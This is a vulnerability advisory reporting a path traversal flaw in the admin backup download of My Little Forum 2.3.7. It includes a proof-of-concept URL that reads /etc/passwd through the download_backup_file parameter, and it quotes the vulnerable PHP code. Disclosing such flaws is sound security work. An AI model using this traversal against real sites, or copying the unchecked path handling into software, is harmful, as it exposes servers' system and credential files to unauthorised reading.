Title:
======
My Little Forum 2.3.7 - Source Code Disclosure
Product & Service Introduction:
===============================
My little forum is a simple PHP and MySQL based internet forum that displays the messages in classical threaded view (tree structure). It is Open Source licensed under the GNU General Public License. The main claim of this web forum is simplicity. Furthermore it should be easy to install and run on a standard server configuration with PHP and MySQL.
Software Link:
==============
https://github.com/ilosuna/mylittleforum/archive/master.zip
Vulnerability Type:
=========================
Source Code Disclosure
Vulnerability Details:
==============================
No input validation check is done on download backup file page inputs.
Therefore,We can entering whatever and download files.
Severity Level:
===============
High
Proof of Concept (PoC):
=======================
for use this vulnerability you need to access admin , this vulnerability is in backup part.
vulnerable parameter is download_backup_file and we can enter every file want to download for this parameter.
Download Passwd file : http://localhost/mylittleforum-master/index.php?mode=admin&download_backup_file=../../../../../etc/passwd
Vulnerable Code :
==================
File :"admin.inc.php"
if(isset($_GET['download_backup_file']))
{
$file = 'backup/'.$_GET['download_backup_file'];
if(check_filename($_GET['download_backup_file']) && file_exists($file))
{
$len = filesize($file);
$fh = @fopen($file,"r");
if(!$fh) return false;
$data = fread($fh, $len);
fclose($fh);
header("Content-Type: text/plain; charset=".$lang['charset']);
header("Content-Disposition: attachment; filename=".$_GET['download_backup_file']);
header("Accept-Ranges: bytes");
header("Content-Length: ".$len);
echo $data;
exit;
}
else
{
$errors[] = 'error_file_doesnt_exist';
$smarty->assign('errors',$errors);
$action = 'backup';
}
}
Author:
==================
Ashiyane Digital Security Team
